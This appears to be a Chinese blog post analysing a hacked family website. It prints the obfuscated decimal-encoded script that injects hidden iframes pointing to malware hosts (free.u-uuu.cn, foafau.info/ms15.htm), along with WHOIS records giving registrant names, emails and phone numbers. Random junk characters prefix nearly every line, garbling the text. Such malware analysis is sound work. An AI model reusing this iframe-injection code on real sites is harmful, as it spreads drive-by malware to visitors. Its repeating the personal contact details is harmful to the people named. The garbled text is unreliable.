首发在我的博客里面，
|6w {%xC?" X8 x:/]/0 http://www.areway.cn/?p=175 _53N uEM1 K[[ 5H wF)g@cw 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
[W8?ww%qT 0F %V+Y\R <script>t=’60,105,102,114,97,109,101,
0GcOI} 32,115,114,99,61,104,116,116,112,58,47,47,
?1]h5Uh[b 102,114,101,101,46,117,45,117,117,117,46,99,
Wo,fH Y 110,47,101,114,114,111,114,46,104,116,109,
nq*D91Q 32,119,105,100,116,104,61,49,48,48,32,104,
}3 S6TJ+ 101,105,103,104,116,61,48,62,60,47,105,102,
$c];&)7q 114,97,109,101,62′;
6G;t: [H G t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
]Vd1fkXO0 xX\A& 9 m <script>t=’60,105,102,114,97,109,101,32,115,
c#T0n !} 114,99,61,104,116,116,112,58,47,47,102,114,
Ht7v+lY90^ 101,101,46,117,45,117,117,117,46,99,110,47,
%!V = noo 101,114,114,111,114,46,104,116,109,32,119,
g*$yUt 105,100,116,104,61,49,48,48,32,104,101,105,
jWGX :XB 103,104,116,61,48,62,60,47,105,102,114,97,
wQrD(Dv(yA 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
RO.bh#A$ document.write(t);</script>
!UX7R\qu| FK,Jk04on <html xmlns=”
wbbr8WiU http://www.w3.org/1999/xhtml ZWy,NN1 “>
f= 33 +8I <head>
m8z414o <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
m$A-'*' <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
C''[[sw'K <title>首页 - 爱生活家庭网
Z]k+dJ[- d^ G5Pq 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
iYl{V']A 转换字符串后的大概内容是（谁点击后果自付）：
0T<DHP Q1 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
sXR}#*8p
G~19Vv*; 查询玉米u-uuu.cn的详细信息：
{p7b\=WB- Domain Name: u-uuu.cn
nm
!H&#< ROID: 20070901s10001s64972306-cn
FS6I?q#tQ Domain Status: ok
|&\cr\T\r Registrant Organization: 王雷
l1D"*J 2` Registrant Name: 王雷
DTM
xfQdk Administrative Email:
czlovexs@126.com J85Kgd1
\a Sponsoring Registrar: 北京万网志成科技有限公司
W%P0X5Y Q Name Server:ns.yovole.com
Qh,Dcg2ZM" Name Server:ns1.yovole.com
RRJN@|" Registration Date: 2007-09-01 17:54
^A;(#5A]7 Expiration Date: 2008-09-01 17:54
o;J_"' kP 最后PING了一下地址 都没有什么….
m95;NT1N/g xXNL UP 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
br7_P1ep <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
hG>3y\!# <script language=”javascript” src=”
ZO !)G http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 'H)l~L >
uz@WW!+o 这个玉米应该有可能是木马作者的：
?ubIh.d foafau.info的详细信息：
Jkub|w#QH Access to INFO WHOIS information is provided to assist persons in
?KXgG' !! determining the contents of a domain name registration record in the
& <Jvaf_= Afilias registry database. The data in this record is provided by
"jAEZ Afilias Limited for informational purposes only, and Afilias does not
Xd@x(T~'X guarantee its accuracy. This service is intended only for query-based
?G$X
4KY6` access. You agree that you will use this data only for lawful purposes
N0']t Gh2 and that, under no circumstances will you use this data to: (a) allow,
6l?\ iE enable, or otherwise support the transmission by e-mail, telephone, or
D>I|(B!.p8 facsimile of mass unsolicited, commercial advertising or solicitations
>Wr to entities other than the data recipient’s own existing customers; or
h&6t.2<e (b) enable high volume, automated, electronic processes that send
${ w\^6 & queries or data to the systems of Registry Operator, a Registrar, or
q)KLf\ Afilias except as reasonably necessary to register domain names or
r Q$Jk[Y modify existing registrations. All rights reserved. Afilias reserves
zoO9N oUHW the right to modify these terms at any time. By submitting this query,
O^I%Xk you agree to abide by this policy.
2ZZF hj Domain ID:D22418703-LRMS
p/%B>Y > Domain Name:FOAFAU.INFO
CsW*E,|xyP Created On:20-Nov-2007 16:05:42 UTC
H2D j`0 Last Updated On:20-Nov-2007 16:05:44 UTC
^g*2jH+ Expiration Date:20-Nov-2008 16:05:42 UTC
#e(P~'A0 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
2_#V w&v Status:CLIENT DELETE PROHIBITED
ZHW|P Status:CLIENT RENEW PROHIBITED
*q+ z 5G;O Status:CLIENT TRANSFER PROHIBITED
D" +xF& Status:CLIENT UPDATE PROHIBITED
Q7@
m.w%` Status:TRANSFER PROHIBITED
<aEY=IF4 Registrant ID:GODA-040110615
pm~uWXqxr= Registrant Name:liu hong
Tq=OYJq5U Registrant Organization:
.~fAcc{Qj Registrant Street1:beijing
c!}f \ ]D Registrant Street2:
R'{BkC}. Registrant Street3:
hu''"/raM Registrant City:beijing
7K}Sk Registrant State/Province:
)a'c_ 2 [ Registrant Postal Code:100000
z4[S 02s Registrant Country:CN
=_Y#uE$ Registrant Phone:+86.860108888777
dr8`;$;G* Registrant Phone Ext.:
I Lq"/S. Registrant FAX:
+x" cWOg Registrant FAX Ext.:
*Mr? }_,X* Registrant Email:bbbshiji@163.com
84 $#!=v Admin ID:GODA-240110615
om'DaG`A Admin Name:liu hong
+:fr(s!OE Admin Organization:
rezH5d6z62 Admin Street1:beijing
7Yrp#u1! Admin Street2:
H3Z "u Admin Street3:
K=mW`XXup Admin City:beijing
WQT;k0;T] Admin State/Province:
_N&]w*ce Admin Postal Code:100000
K,\Bj/V( Admin Country:CN
rxJWU JMxK Admin Phone:+86.860108888777
}n91aE3 v Admin Phone Ext.:
+r
2\v Admin FAX:
WSPlM"h Admin FAX Ext.:
`&-)(# Admin Email:bbbshiji@163.com
1Ev#[FOc Billing ID:GODA-340110615
t/9,JG Billing Name:liu hong
"m m|0PUJ Billing Organization:
56R)631]p Billing Street1:beijing
d 9n{jv| Billing Street2:
]rP'\a Billing Street3:
eTp}*'$p Billing City:beijing
dJ0qg_ U& Billing State/Province:
M&5;Qeoiv Billing Postal Code:100000
y8.(fil NB Billing Country:CN
,awp)@VG7 Billing Phone:+86.860108888777
CH/*MA Billing Phone Ext.:
(ON_(MN
Billing FAX:
j. L`@ Billing FAX Ext.:
z|gG%fM Billing Email:bbbshiji@163.com
jS,zdJs= Tech ID:GODA-140110615
`*n K@: Tech Name:liu hong
rZBOWT Tech Organization:
+o\s
|G|l Tech Street1:beijing
6s"Erq5q Tech Street2:
D9|?1+Kc Tech Street3:
{} 11U0 Tech City:beijing
xe3t_y Tech State/Province:
"T_OLegdK Tech Postal Code:100000
4&c7^ 4w~ Tech Country:CN
Tpv]c Tech Phone:+86.860108888777
9-9:]2~g! Tech Phone Ext.:
cNd2XQB9= Tech FAX:
FGP~^Dr/ Tech FAX Ext.:
68^5X"OGF Tech Email:bbbshiji@163.com
m%hUvG| i Name Server:NS27.DOMAINCONTROL.COM
q3s
+?& Name Server:NS28.DOMAINCONTROL.COM
t,2Q~ied= Name Server:
faVR % Name Server:
`Oc`I9 Name Server:
A%G
\
AT Name Server:
ul',!js? Name Server:
+AT!IZrB2i Name Server:
/{~cUB,Um Name Server:
S}rW=hO Name Server:
-O ro$=% Name Server:
LK^t ](F Name Server:
x>@+lV'O Name Server:
Z ~-A*{u? 9x~qcH% 接着下载每个文件里面的代码：
u/% 4WgA 一步一步看..
esM< . 
(!nhU 
XVfp* ` 
?V}AwLX} 
I o z
rZ 
Mp V6Vbp 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
